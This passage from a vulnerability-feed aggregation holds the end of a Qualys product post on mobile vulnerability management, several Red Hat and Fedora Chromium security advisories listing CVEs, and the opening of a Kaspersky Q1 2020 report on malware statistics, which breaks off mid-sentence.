CVE-2019-2215 to gain privileged control of the victim\u2019s device including access to their data and the corporate network.\n\nIn both cases, the attacks were successful because the organizations were using a traditional vulnerability scanning approach for mobile devices. This approach fails to provide holistic security for mobile devices because it requires devices to connect to the VPN or the organization\u2019s network in order to be scanned for vulnerabilities or patched. Mobile Device Management (MDM) also fails in this case because its \u2018policy-based prevention\u2019 does not assess devices or the apps running on them for the latest vulnerabilities, and it lacks knowledge of the security posture of the device and does not provide flexible patching. \n\nOrganizations are looking for a solution which provides continuous visibility into mobile devices across the enterprise, continuous visibility into the vulnerability and misconfiguration posture of the device and apps, and a workflow for prioritized updates and patching.\n\n### Introducing Qualys VMDR for Mobile Devices\n\nBuilt on the FedRAMP-authorized [Qualys Cloud Platform](<https://www.qualys.com/cloud-platform/>), [Qualys VMDR for Mobile Devices](<https://www.qualys.com/vmdr-mobile-devices>) extends vulnerability management, detection and response capabilities to mobile device platforms such as Android, iOS, and iPadOS. Qualys Cloud Agent for Android, iOS and iPadOS, available on Google Play Store and Apple App Store, provides continuous visibility, security and patch orchestration for your mobile platforms.\n\nTo learn more about this solution, watch the webinar on March 10: [Seamlessly Expand Vulnerability & Patch Management to Enterprise Mobile Devices](<https://www.brighttalk.com/webcast/11673/469503>).\n\n#### Continuous Visibility and Monitoring of Mobile Devices Connecting to Your Network\n\nKnowing your mobile devices and monitoring their connections to your corporate network is fundamental to their security. With cloud agents deployed on your mobile devices, you get real-time visibility of all the mobile devices across your enterprise, including critical hardware and software details like firmware, OS, and installed applications details, along with location and the network information.\n\nThis mobile device inventory comes as a part of [Qualys VMDR](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) and [Multi-Vector EDR](<https://www.qualys.com/apps/endpoint-detection-response/>).\n\nGain in-depth visibility into mobile devices across your enterprise\n\n#### Real-Time Visibility into Vulnerabilities and Critical Device Settings\n\nWith best-in-class vulnerability assessment for Android, iOS and iPadOS devices, Qualys VMDR for Mobile Devices enables:\n\n * Device vulnerability and exploit assessment covering vulnerabilities from 2016 to the latest for Android, iOS, and iPadOS providing insights into vulnerable OS versions with CVE details and detection of jailbroken/rooted devices,\n * Detection of critical device settings such as encryption disabled, password removed/disabled, Bluetooth settings, etc.,\n * Assessment of app vulnerability detections covering vulnerabilities from 2016 to the latest such as Google Chrome browser vulnerabilities, along with the detection of potentially harmful apps, and\n * Insights into network vulnerabilities and detection of devices connected to insecure or open Wi-Fi networks.\n\nQualys VMDR helps expand your vulnerability management program with configuration assessment by continuously monitoring the critical mobile device configurations as recommended by [National Security Agency (NSA) best practices](<https://www.nsa.gov/What-We-Do/Cybersecurity/Telework-and-Mobile-Security-Guidance/>), such as Bluetooth status, location services, app trusted status, and more.\n\nReal-time visibility into vulnerabilities Real-time visibility into critical settings\n\n#### Remote Response and Seamless Patch Orchestration\n\nTwo of the biggest response challenges in the mobile world are:\n\n * Performing remote actions when the mobile device is not on the VPN or network, i.e. when traditional vulnerability management approaches are not possible, and\n * Determining the appropriate mitigation action, which requires time-consuming research to map application updates to vulnerabilities and then either deploy those updates or uninstall the risky apps.\n\nQualys VMDR for Mobile Devices automatically and continuously correlates the vulnerabilities of Android apps available on Google Play Store with appropriate application updates, significantly decreasing your remediation response time. IT and remediation teams can schedule and deploy those patches from Google Play Store via seamless orchestration provided by VMDR or they can uninstall vulnerable apps.\n\nBased on the security posture of the device, security teams can take actions on all at-risk mobile devices simultaneously, even if the devices are not connected to the VPN or corporate network, leveraging over-the-air, out-of-the-box controls to reset in critical cases or lock devices, change passcodes, or even de-enroll the device.\n\nSeamless patch orchestration with tracking patch status Uninstall the vulnerable app Perform remote actions on the vulnerable devices\n\n#### Vulnerability Posture of Mobile Devices AND Servers in a Single Pane of Glass\n\nOne of the key metrics for vulnerability risk management teams and management is visualization of vulnerability and security posture across hybrid environments, from datacenter servers to endpoints to mobile devices. With mobile data flowing to the Qualys Cloud Platform via VMDR for Mobile Devices, your vulnerability and security teams can continuously inventory all your assets, including mobile devices, in a consolidated manner and gain insights into the vulnerability and misconfiguration posture of your servers and mobile devices in a single pane of glass.\n\nGain visibility into the security posture of different types of assets in a single pane of glass.\n\n### Visibility, Assessment, Correlation and Orchestration\n\nWith the growth of mobile devices, increasing attack surface and data exposure risks, security teams are looking for a solution which goes beyond traditional mobile vulnerability scanning tools. Qualys VMDR for Mobile Devices extends the power of vulnerability & patch management to Android, iOS and iPadOS devices for: \n\n * Compressive visibility into mobile devices, installed apps, and configurations, even if they are not on VPN or network,\n * Continuous vulnerability and end-of-life assessment of devices, OSs, and applications along with monitoring for potential harmful applications,\n * Automatic correlation of vulnerabilities with apps and Android patches, and\n * Orchestration of appropriate response actions such as deploying patches from Google Play Store or uninstalling vulnerable apps.\n\n### Learn More\n\n * Webinar March 10: [Seamlessly Expand Vulnerability & Patch Management to Enterprise Mobile Devices](<https://www.brighttalk.com/webcast/11673/469503>)\n * [Start your free trial](<https://www.qualys.com/try-vmdr-mobile-devices>)\n * [About VMDR for Mobile Devices](<https://www.qualys.com/apps/vulnerability-management-detection-response/mobile-devices>)\n * [User guide](<https://www.qualys.com/docs/qualys-sem-user-guide.pdf>)\n * [Qualys extends the power of VMDR to Android and iOS/iPadOS mobile devices](<https://www.qualys.com/company/newsroom/news-releases/usa/qualys-introduces-vmdr-for-mobile-devices>)", "modified": "2021-02-10T21:17:00", "published": "2021-02-10T21:17:00", "id": "QUALYSBLOG:65D9653A8189263EAD9C1C00AA7E205A", "href": "https://blog.qualys.com/category/product-tech", "type": "qualysblog", "title": "Expand Your Vulnerability & Patch Management Program to Mobile Devices with Qualys VMDR", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2020-03-13T09:36:23", "bulletinFamily": "unix", "cvelist": ["CVE-2020-10531", "CVE-2020-6383", "CVE-2020-6384", "CVE-2020-6386", "CVE-2020-6407", "CVE-2020-6418"], "description": "Chromium is an open-source web browser, powered by WebKit (Blink).\n\nThis update upgrades Chromium to version 80.0.3987.122.\n\nSecurity Fix(es):\n\n* ICU: Integer overflow in UnicodeString::doAppend() (BZ#1807349)\n\n* chromium-browser: Type confusion in V8 (CVE-2020-6383)\n\n* chromium-browser: Use after free in WebAudio (CVE-2020-6384)\n\n* chromium-browser: Use after free in speech (CVE-2020-6386)\n\n* chromium-browser: Out of bounds memory access in streams (CVE-2020-6407)\n\n* chromium-browser: Type confusion in V8 (CVE-2020-6418)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2020-03-13T12:36:42", "published": "2020-03-09T12:03:29", "id": "RHSA-2020:0738", "href": "https://access.redhat.com/errata/RHSA-2020:0738", "type": "redhat", "title": "(RHSA-2020:0738) Important: chromium-browser security update", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:45:11", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5070", "CVE-2017-5071", "CVE-2017-5072", "CVE-2017-5073", "CVE-2017-5074", "CVE-2017-5075", "CVE-2017-5076", "CVE-2017-5077", "CVE-2017-5078", "CVE-2017-5079", "CVE-2017-5080", "CVE-2017-5081", "CVE-2017-5082", "CVE-2017-5083", "CVE-2017-5085", "CVE-2017-5086"], "description": "Chromium is an open-source web browser, powered by WebKit (Blink).\n\nThis update upgrades Chromium to version 59.0.3071.86.\n\nSecurity Fix(es):\n\n* Multiple flaws were found in the processing of malformed web content. A web page containing malicious content could cause Chromium to crash, execute arbitrary code, or disclose sensitive information when visited by the victim. (CVE-2017-5070, CVE-2017-5071, CVE-2017-5072, CVE-2017-5073, CVE-2017-5074, CVE-2017-5075, CVE-2017-5076, CVE-2017-5077, CVE-2017-5078, CVE-2017-5079, CVE-2017-5080, CVE-2017-5081, CVE-2017-5086, CVE-2017-5082, CVE-2017-5083, CVE-2017-5085)", "modified": "2018-06-07T18:21:38", "published": "2017-06-06T23:21:43", "id": "RHSA-2017:1399", "href": "https://access.redhat.com/errata/RHSA-2017:1399", "type": "redhat", "title": "(RHSA-2017:1399) Important: chromium-browser security update", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:44:42", "bulletinFamily": "unix", "cvelist": ["CVE-2019-5754", "CVE-2019-5755", "CVE-2019-5756", "CVE-2019-5757", "CVE-2019-5758", "CVE-2019-5759", "CVE-2019-5760", "CVE-2019-5761", "CVE-2019-5762", "CVE-2019-5763", "CVE-2019-5764", "CVE-2019-5765", "CVE-2019-5766", "CVE-2019-5767", "CVE-2019-5768", "CVE-2019-5769", "CVE-2019-5770", "CVE-2019-5771", "CVE-2019-5772", "CVE-2019-5773", "CVE-2019-5774", "CVE-2019-5775", "CVE-2019-5776", "CVE-2019-5777", "CVE-2019-5778", "CVE-2019-5779", "CVE-2019-5780", "CVE-2019-5781", "CVE-2019-5782"], "description": "Chromium is an open-source web browser, powered by WebKit (Blink).\n\nThis update upgrades Chromium to version 72.0.3626.81.\n\nSecurity Fix(es):\n\n* chromium-browser: Inappropriate implementation in QUIC Networking (CVE-2019-5754)\n\n* chromium-browser: Inappropriate implementation in V8 (CVE-2019-5755)\n\n* chromium-browser: Use after free in PDFium (CVE-2019-5756)\n\n* chromium-browser: Type Confusion in SVG (CVE-2019-5757)\n\n* chromium-browser: Use after free in Blink (CVE-2019-5758)\n\n* chromium-browser: Use after free in HTML select elements (CVE-2019-5759)\n\n* chromium-browser: Use after free in WebRTC (CVE-2019-5760)\n\n* chromium-browser: Use after free in SwiftShader (CVE-2019-5761)\n\n* chromium-browser: Use after free in PDFium (CVE-2019-5762)\n\n* chromium-browser: Insufficient validation of untrusted input in V8 (CVE-2019-5763)\n\n* chromium-browser: Use after free in WebRTC (CVE-2019-5764)\n\n* chromium-browser: Insufficient policy enforcement in the browser (CVE-2019-5765)\n\n* chromium-browser: Inappropriate implementation in V8 (CVE-2019-5782)\n\n* chromium-browser: Insufficient policy enforcement in Canvas (CVE-2019-5766)\n\n* chromium-browser: Incorrect security UI in WebAPKs (CVE-2019-5767)\n\n* chromium-browser: Insufficient policy enforcement in DevTools (CVE-2019-5768)\n\n* chromium-browser: Insufficient validation of untrusted input in Blink (CVE-2019-5769)\n\n* chromium-browser: Heap buffer overflow in WebGL (CVE-2019-5770)\n\n* chromium-browser: Heap buffer overflow in SwiftShader (CVE-2019-5771)\n\n* chromium-browser: Use after free in PDFium (CVE-2019-5772)\n\n* chromium-browser: Insufficient data validation in IndexedDB (CVE-2019-5773)\n\n* chromium-browser: Insufficient validation of untrusted input in SafeBrowsing (CVE-2019-5774)\n\n* chromium-browser: Insufficient policy enforcement in Omnibox (CVE-2019-5775)\n\n* chromium-browser: Insufficient policy enforcement in Omnibox (CVE-2019-5776)\n\n* chromium-browser: Insufficient policy enforcement in Omnibox (CVE-2019-5777)\n\n* chromium-browser: Insufficient policy enforcement in Extensions (CVE-2019-5778)\n\n* chromium-browser: Insufficient policy enforcement in ServiceWorker (CVE-2019-5779)\n\n* chromium-browser: Insufficient policy enforcement (CVE-2019-5780)\n\n* chromium-browser: Insufficient policy enforcement in Omnibox (CVE-2019-5781)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2019-02-11T23:20:40", "published": "2019-02-11T23:19:43", "id": "RHSA-2019:0309", "href": "https://access.redhat.com/errata/RHSA-2019:0309", "type": "redhat", "title": "(RHSA-2019:0309) Critical: chromium-browser security update", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-12-19T01:27:32", "bulletinFamily": "unix", "cvelist": ["CVE-2019-13725", "CVE-2019-13726", "CVE-2019-13727", "CVE-2019-13728", "CVE-2019-13729", "CVE-2019-13730", "CVE-2019-13732", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13736", "CVE-2019-13737", "CVE-2019-13738", "CVE-2019-13739", "CVE-2019-13740", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13743", "CVE-2019-13744", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13747", "CVE-2019-13748", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13751", "CVE-2019-13752", "CVE-2019-13753", "CVE-2019-13754", "CVE-2019-13755", "CVE-2019-13756", "CVE-2019-13757", "CVE-2019-13758", "CVE-2019-13759", "CVE-2019-13761", "CVE-2019-13762", "CVE-2019-13763", "CVE-2019-13764"], "description": "Chromium is an open-source web browser, powered by WebKit (Blink).\n\nThis update upgrades Chromium to version 79.0.3945.79.\n\nSecurity Fix(es):\n\n* chromium-browser: Use after free in Bluetooth (CVE-2019-13725)\n\n* chromium-browser: Heap buffer overflow in password manager (CVE-2019-13726)\n\n* chromium-browser: Insufficient policy enforcement in WebSockets (CVE-2019-13727)\n\n* chromium-browser: Out of bounds write in V8 (CVE-2019-13728)\n\n* chromium-browser: Use after free in WebSockets (CVE-2019-13729)\n\n* chromium-browser: Type Confusion in V8 (CVE-2019-13730)\n\n* chromium-browser: Use after free in WebAudio (CVE-2019-13732)\n\n* chromium-browser: Out of bounds write in SQLite (CVE-2019-13734)\n\n* chromium-browser: Out of bounds write in V8 (CVE-2019-13735)\n\n* chromium-browser: Type Confusion in V8 (CVE-2019-13764)\n\n* chromium-browser: Integer overflow in PDFium (CVE-2019-13736)\n\n* chromium-browser: Insufficient policy enforcement in autocomplete (CVE-2019-13737)\n\n* chromium-browser: Insufficient policy enforcement in navigation (CVE-2019-13738)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13739)\n\n* chromium-browser: Incorrect security UI in sharing (CVE-2019-13740)\n\n* chromium-browser: Insufficient validation of untrusted input in Blink (CVE-2019-13741)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13742)\n\n* chromium-browser: Incorrect security UI in external protocol handling (CVE-2019-13743)\n\n* chromium-browser: Insufficient policy enforcement in cookies (CVE-2019-13744)\n\n* chromium-browser: Insufficient policy enforcement in audio (CVE-2019-13745)\n\n* chromium-browser: Insufficient policy enforcement in Omnibox (CVE-2019-13746)\n\n* chromium-browser: Uninitialized Use in rendering (CVE-2019-13747)\n\n* chromium-browser: Insufficient policy enforcement in developer tools (CVE-2019-13748)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13749)\n\n* chromium-browser: Insufficient data validation in SQLite (CVE-2019-13750)\n\n* chromium-browser: Uninitialized Use in SQLite (CVE-2019-13751)\n\n* chromium-browser: Out of bounds read in SQLite (CVE-2019-13752)\n\n* chromium-browser: Out of bounds read in SQLite (CVE-2019-13753)\n\n* chromium-browser: Insufficient policy enforcement in extensions (CVE-2019-13754)\n\n* chromium-browser: Insufficient policy enforcement in extensions (CVE-2019-13755)\n\n* chromium-browser: Incorrect security UI in printing (CVE-2019-13756)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13757)\n\n* chromium-browser: Insufficient policy enforcement in navigation (CVE-2019-13758)\n\n* chromium-browser: Incorrect security UI in interstitials (CVE-2019-13759)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13761)\n\n* chromium-browser: Insufficient policy enforcement in downloads (CVE-2019-13762)\n\n* chromium-browser: Insufficient policy enforcement in payments (CVE-2019-13763)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2019-12-16T14:01:58", "published": "2019-12-16T13:51:16", "id": "RHSA-2019:4238", "href": "https://access.redhat.com/errata/RHSA-2019:4238", "type": "redhat", "title": "(RHSA-2019:4238) Critical: chromium-browser security update", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "fedora": [{"lastseen": "2020-12-21T08:17:54", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5070", "CVE-2017-5071", "CVE-2017-5075", "CVE-2017-5076", "CVE-2017-5077", "CVE-2017-5078", "CVE-2017-5079", "CVE-2017-5083", "CVE-2017-5088", "CVE-2017-5089"], "description": "Qt5 - QtWebEngine components. ", "modified": "2017-07-15T19:55:59", "published": "2017-07-15T19:55:59", "id": "FEDORA:934A8603EB6C", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 25 Update: qt5-qtwebengine-5.9.1-1.fc25", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:54", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5070", "CVE-2017-5071", "CVE-2017-5075", "CVE-2017-5076", "CVE-2017-5077", "CVE-2017-5078", "CVE-2017-5079", "CVE-2017-5083", "CVE-2017-5088", "CVE-2017-5089"], "description": "Qt5 - QtWebEngine components. ", "modified": "2017-07-12T14:52:08", "published": "2017-07-12T14:52:08", "id": "FEDORA:6C6FD60799FF", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 26 Update: qt5-qtwebengine-5.9.1-1.fc26", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:54", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5070", "CVE-2017-5071", "CVE-2017-5072", "CVE-2017-5073", "CVE-2017-5074", "CVE-2017-5075", "CVE-2017-5076", "CVE-2017-5077", "CVE-2017-5078", "CVE-2017-5079", "CVE-2017-5080", "CVE-2017-5081", "CVE-2017-5082", "CVE-2017-5083", "CVE-2017-5085", "CVE-2017-5086"], "description": "Google's \"pnacl\" toolchain for native client support in Chromium. Depends on their older \"nacl\" toolchain, packaged separately. ", "modified": "2017-07-12T01:54:01", "published": "2017-07-12T01:54:01", "id": "FEDORA:9B26C601E80E", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 24 Update:\n chromium-native_client-59.0.3071.86-1.20170607gitaac1de2.fc24", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:54", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5070", "CVE-2017-5071", "CVE-2017-5072", "CVE-2017-5073", "CVE-2017-5074", "CVE-2017-5075", "CVE-2017-5076", "CVE-2017-5077", "CVE-2017-5078", "CVE-2017-5079", "CVE-2017-5080", "CVE-2017-5081", "CVE-2017-5082", "CVE-2017-5083", "CVE-2017-5085", "CVE-2017-5086"], "description": "Google's \"pnacl\" toolchain for native client support in Chromium. Depends on their older \"nacl\" toolchain, packaged separately. ", "modified": "2017-06-30T00:50:31", "published": "2017-06-30T00:50:31", "id": "FEDORA:81D4A60CDC47", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 25 Update:\n chromium-native_client-59.0.3071.86-1.20170607gitaac1de2.fc25", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:54", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5070", "CVE-2017-5071", "CVE-2017-5072", "CVE-2017-5073", "CVE-2017-5074", "CVE-2017-5075", "CVE-2017-5076", "CVE-2017-5077", "CVE-2017-5078", "CVE-2017-5079", "CVE-2017-5080", "CVE-2017-5081", "CVE-2017-5082", "CVE-2017-5083", "CVE-2017-5085", "CVE-2017-5086"], "description": "Google's \"pnacl\" toolchain for native client support in Chromium. Depends on their older \"nacl\" toolchain, packaged separately. ", "modified": "2017-06-26T19:14:50", "published": "2017-06-26T19:14:50", "id": "FEDORA:58B936057122", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 26 Update:\n chromium-native_client-59.0.3071.86-1.20170607gitaac1de2.fc26", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:55", "bulletinFamily": "unix", "cvelist": ["CVE-2019-13725", "CVE-2019-13726", "CVE-2019-13727", "CVE-2019-13728", "CVE-2019-13729", "CVE-2019-13730", "CVE-2019-13732", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13736", "CVE-2019-13737", "CVE-2019-13738", "CVE-2019-13739", "CVE-2019-13740", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13743", "CVE-2019-13744", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13747", "CVE-2019-13748", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13751", "CVE-2019-13752", "CVE-2019-13753", "CVE-2019-13754", "CVE-2019-13755", "CVE-2019-13756", "CVE-2019-13757", "CVE-2019-13758", "CVE-2019-13759", "CVE-2019-13761", "CVE-2019-13762", "CVE-2019-13763", "CVE-2019-13764"], "description": "Chromium is an open-source web browser, powered by WebKit (Blink). ", "modified": "2019-12-18T01:56:55", "published": "2019-12-18T01:56:55", "id": "FEDORA:58B4460D22EC", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 31 Update: chromium-79.0.3945.79-1.fc31", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "securelist": [{"lastseen": "2020-05-20T11:49:25", "bulletinFamily": "blog", "cvelist": ["CVE-2017-11882", "CVE-2017-8570", "CVE-2017-8759", "CVE-2018-0802", "CVE-2019-17026", "CVE-2020-0601", "CVE-2020-0609", "CVE-2020-0610", "CVE-2020-0674", "CVE-2020-0688", "CVE-2020-0729", "CVE-2020-0767", "CVE-2020-0796", "CVE-2020-6418"], "description": "\n\n_These statistics are based on detection verdicts for Kaspersky products received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network,\n\n * Kaspersky solutions blocked 726,536,269 attacks launched from online resources in 203 countries across the globe.\n * A total of 442,039,230 unique URLs were recognized as malicious by Web Anti-Virus components.\n * Attempted infections by malware designed to steal money via online access to bank accounts were logged on the computers of 249,748 unique users.\n * Ransomware attacks were defeated on the computers of 178,922 unique users.\n * Our File Anti-Virus detected 164,653,290 unique malicious and potentially unwanted objects.\n * Kaspersky products for mobile devices detected: \n * 1,152,662 malicious installation packages\n * 42,115 installation packages for mobile banking trojans\n * 4339 installation packages for mobile ransomware trojans\n\n## Mobile threats\n\n### Quarter events\n\nQ1 2020 will be remembered primarily for the coronavirus pandemic and cybercriminals' exploitation of the topic. In particular, the creators of a new modification of the Ginp banking trojan renamed their malware Coronavirus Finder and then began offering it for \u20ac0.75 disguised as an app supposedly capable of detecting nearby people infected with COVID-19. Thus, the cybercriminals tried not only to scam users by exploiting hot topics, but to gain access to their bank card details. And, because the trojan remains on the device after stealing this data, the cybercriminals could intercept text messages containing two-factor authorization codes and use the stolen data without the victim's knowledge.\n\nAnother interesting find this quarter was [Cookiethief](<https://securelist.com/cookiethief/96332/>), a trojan designed to steal cookies from mobile browsers and the Facebook app. In the event of a successful attack, the malware provided its handler with access to the victim's account, including the ability to perform various actions in their name, such as liking, reposting, etc. To prevent the service from spotting any abnormal activity in the hijacked profile, the trojan contains a proxy module through which the attackers issue commands.\n\nThe third piece of malware that caught our attention this reporting quarter was trojan-Dropper.AndroidOS.Shopper.a. It is designed to [help cybercriminals to leave fake reviews and drive up ratings on Google Play](<https://securelist.com/smartphone-shopaholic/95544/>). The attackers' goals here are obvious: to increase the changes of their apps getting published and recommended, and to lull the vigilance of potential victims. Note that to rate apps and write reviews, the trojan uses Accessibility Services to gain full control over the other app: in this case, the official Google Play client.\n\n### Mobile threat statistics\n\nIn Q1 2020, Kaspersky's mobile products and technologies detected 1,152,662 malicious installation packages, or 171,669 more than in the previous quarter.\n\n_Number of malicious installation packages detected, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13193928/sl_malware_report_01-kolichestvo-obnaruzhennyh-vredonosnyh-ustanovochnyh-paketov-q1-2019-q1-2019.png>)_\n\nStarting in Q2 2019, we have seen a steady rise in the number of mobile threats detected. Although it is too early to sound the alarm (2019 saw the lowest number of new threats in recent years), the trend is concerning.\n\n### Distribution of detected mobile apps by type\n\n_Distribution of newly detected mobile programs by type, Q1 2020 and Q4 2019 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194010/sl_malware_report_02-en-mobile-behavior.png>)_\n\nOf all the threats detected in Q1, half were unwanted adware apps (49.9%), their share having increased by 19 p.p. compared to the previous quarter. Most often, we detected members of the HiddenAd and Ewind families, with a combined slice of 40% of all detected adware threats, as well as the FakeAdBlocker family (12%).\n\nPotentially unwanted RiskTool apps (28.24%) took second place; the share of this type of threat remained almost unchanged. The Smsreg (49% of all detected threats of this class), Agent (17%) and Dnotua (11%) families were the biggest contributors. Note that in Q1, the number of detected members of the Smsreg family increased by more than 50 percent.\n\nIn third place were Trojan-Dropper-type threats (9.72%). Although their share decreased by 7.63 p.p. against the previous quarter, droppers remain one of the most common classes of mobile threats. Ingopack emerged as Q1's leading family with a massive 71% of all Trojan-Dropper threats, followed by Waponor (12%) and [Hqwar](<https://securelist.com/hqwar-the-higher-it-flies-the-harder-it-drops/93689/>) (8%) far behind.\n\nIt is worth noting that mobile droppers are most often used for installing financial malware, although some financial threats can spread without their help. The share of these self-sufficient threats is quite substantial: in particular, the share of Trojan-Banker in Q1 increased by 2.1 p.p. to 3.65%.\n\n### Top 20 mobile malware programs\n\n_Note that this malware rankings do not include potentially dangerous or unwanted programs such as RiskTool or adware._\n\n| **Verdict ** | **%*** \n---|---|--- \n1 | DangerousObject.Multi.Generic | 44.89 \n2 | Trojan.AndroidOS.Boogr.gsh | 9.09 \n3 | DangerousObject.AndroidOS.GenericML | 7.08 \n4 | Trojan-Downloader.AndroidOS.Necro.d | 4.52 \n5 | Trojan.AndroidOS.Hiddapp.ch | 2.73 \n6 | Trojan-Downloader.AndroidOS.Helper.a | 2.45 \n7 | Trojan.AndroidOS.Handda.san | 2.31 \n8 | Trojan-Dropper.AndroidOS.Necro.z | 2.30 \n9 | Trojan.AndroidOS.Necro.a | 2.19 \n10 | Trojan-Downloader.AndroidOS.Necro.b | 1.94 \n11 | Trojan-Dropper.AndroidOS.Hqwar.gen | 1.82 \n12 | Trojan-Dropper.AndroidOS.Helper.l | 1.50 \n13 | Exploit.AndroidOS.Lotoor.be | 1.46 \n14 | Trojan-Dropper.AndroidOS.Lezok.p | 1.46 \n15 | Trojan-Banker.AndroidOS.Rotexy.e | 1.43 \n16 | Trojan-Dropper.AndroidOS.Penguin.e | 1.42 \n17 | Trojan-SMS.AndroidOS.Prizmes.a | 1.39 \n18 | Trojan.AndroidOS.Dvmap.a | 1.24 \n19 | Trojan.AndroidOS.Agent.rt | 1.21 \n20 | Trojan.AndroidOS.Vdloader.a | 1.18 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products that were attacked._\n\nFirst place in our Top 20 as ever went to DangerousObject.Multi.Generic (44.89%), the verdict we use for malware detected [using cloud technology](<https://www.kaspersky.com/enterprise-security/wiki-section/products/big-data-the-astraea-technology>). They are triggered when the antivirus databases still lack the data for detecting a malicious program, but the Kaspersky Security Network cloud already contains information about the object. This is basically how the latest malware is detected.\n\nSecond and third places were claimed by Trojan.AndroidOS.Boogr.gsh (9.09%) and DangerousObject.AndroidOS.GenericML (7,08%) respectively. These verdicts are assigned to files that are recognized as malicious by our [machine-learning systems](<https://www.kaspersky.com/enterprise-security/wiki-section/products/machine-learning-in-cybersecurity>).\n\nIn fourth (Trojan-Downloader.AndroidOS.Necro.d, 4.52%) and tenth (Trojan-Downloader.AndroidOS.Necro.b, 1.94%) places are members of the Necro family, whose main task is to download and install modules from cybercriminal servers. Eighth-placed Trojan-Dropper.AndroidOS.Necro.z (2.30%) acts in a similar way, extracting from itself only those modules that it needs. As for Trojan.AndroidOS.Necro.a, which took ninth place (2.19%), cybercriminals assigned it a different task: the trojan follows advertising links and clicks banner ads in the victim's name.\n\nTrojan.AndroidOS.Hiddapp.ch (2.73%) claimed fifth spot. As soon as it runs, the malware hides its icon on the list of apps and continues to operate in the background. The trojan's payload can be other trojan programs or adware apps.\n\nSixth place went to Trojan-Downloader.AndroidOS.Helper.a (2.45%), which is what Trojan-Downloader.AndroidOS.Necro usually delivers. Helper.a is tasked with downloading arbitrary code from the cybercriminals' server and running it.\n\nThe verdict Trojan.AndroidOS.Handda.san (2.31%) in seventh place is a group of diverse trojans that hide their icons, gain Device Admin rights on the device, and use packers to evade detection.\n\nTrojan-Banker.AndroidOS.Rotexy.e (1.43%) and Trojan-Dropper.AndroidOS.Penguin.e (1.42%) warrant a special mention. The former is the only banking trojan in the top 20 this past quarter. The Rotexy family is all of six years old, and its members have the functionality to steal bank card details and intercept two-factor payment authorization messages. In turn, the first member of the Penguin dropper family was only detected last July and had gained significant popularity by Q1 2020.\n\n### Geography of mobile threats\n\n \n\n_Map of infection attempts by mobile malware, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194110/sl_malware_report_03-en-mobile-all-map.png>)_\n\n**Top 10 countries by share of users attacked by mobile threats**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Iran | 39.56 \n2 | Algeria | 21.44 \n3 | Bangladesh | 18.58 \n4 | Nigeria | 15.58 \n5 | Lebanon | 15.28 \n6 | Tunisia | 14.94 \n7 | Pakistan | 13.99 \n8 | Kuwait | 13.91 \n9 | Indonesia | 13.81 \n10 | Cuba | 13.62 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000)._ \n_** Unique users attacked as a percentage of all users of Kaspersky mobile products in the country._\n\nIn Q1 2020, the leader by share of attacked users was Iran (39.56%). Inhabitants of this country most frequently encountered adware apps from the Notifyer family, as well as Telegram clone apps. In second place was Algeria (21.44%), where adware apps were also distributed, but this time it was the HiddenAd and 